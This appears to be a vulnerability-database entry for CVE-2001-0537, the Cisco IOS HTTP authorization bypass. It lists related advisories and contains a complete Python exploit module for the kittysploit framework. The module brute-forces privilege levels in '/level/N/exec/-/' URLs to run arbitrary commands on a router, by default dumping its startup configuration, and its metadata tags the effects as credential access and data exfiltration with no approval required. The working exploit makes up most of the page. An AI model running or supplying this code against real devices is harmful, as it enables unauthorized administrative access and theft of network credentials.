Cisco IOS HTTP Unauthorized Administrative Access
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| CVE-2001-0537 | 29 May 201815:50 | – | circl | |
| IOS HTTP Authorization Vulnerability | 27 Jun 200115:00 | – | cisco | |
| IOS HTTP Authorization Vulnerability - Cisco Systems | 1 Sep 201000:00 | – | nessus | |
| Cisco IOS HTTP Configuration Unauthorized Administrative Access | 2 Jul 200100:00 | – | nessus | |
| Cisco IOS HTTP Authentication Bypass - Ver2 (CVE-2001-0537) | 3 Mar 201400:00 | – | checkpoint_advisories | |
| CVE-2001-0537 | 9 Mar 200205:00 | – | cve | |
| CVE-2001-0537 | 9 Mar 200205:00 | – | cvelist | |
| Exploit for CVE-2000-0114 | 30 Jul 202413:29 | – | gitee | |
| Cisco IOS 11.x/12.x - HTTP Configuration Arbitrary Administrative Access (1) | 27 Jun 200100:00 | – | exploitdb | |
| Cisco IOS 11.x/12.x - HTTP Configuration Arbitrary Administrative Access (2) | 27 Jun 200100:00 | – | exploitdb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco IOS HTTP Unauthorized Administrative Access"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Cisco IOS HTTP Unauthorized Administrative Access',
'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.',
'author': ['renos stoikos'],
'cve': ['CVE-2001-0537'],
'platform': Platform.LINUX,
'references': ['http://www.cvedetails.com/cve/cve-2001-0537'],
'tags': ['iot', 'router', 'unauth', 'cve-2001-0537', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
show_command = OptString("show startup-config", "Command to be executed e.g show startup-config")
def run(self):
if self.check():
print_success("Target is vulnerable")
path = "/level/{}/exec/-/{}".format(self.access_level, self.show_command)
response = self.http_request(
method="GET",
path=path
)
if response is None:
print_error("Could not execute command") # target is not vulnerable
return
else:
print_success("Exploit success! - executing command")
print_info(re.sub('<[^<]+?>', '', response.text))
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
for num in range(16, 100):
path = "/level/{}/exec/-/{}".format(num, self.show_command)
response = self.http_request(
method="GET",
path=path
)
if response is None: # target does not respond
break
if response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
self.access_level = num
return True # target is vulnerable
return False # target is not vulnerable
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19 Aug 2026 05:37Current
6.4Medium risk
Vulners AI Score6.4
CVSS 29.3
EPSS0.6845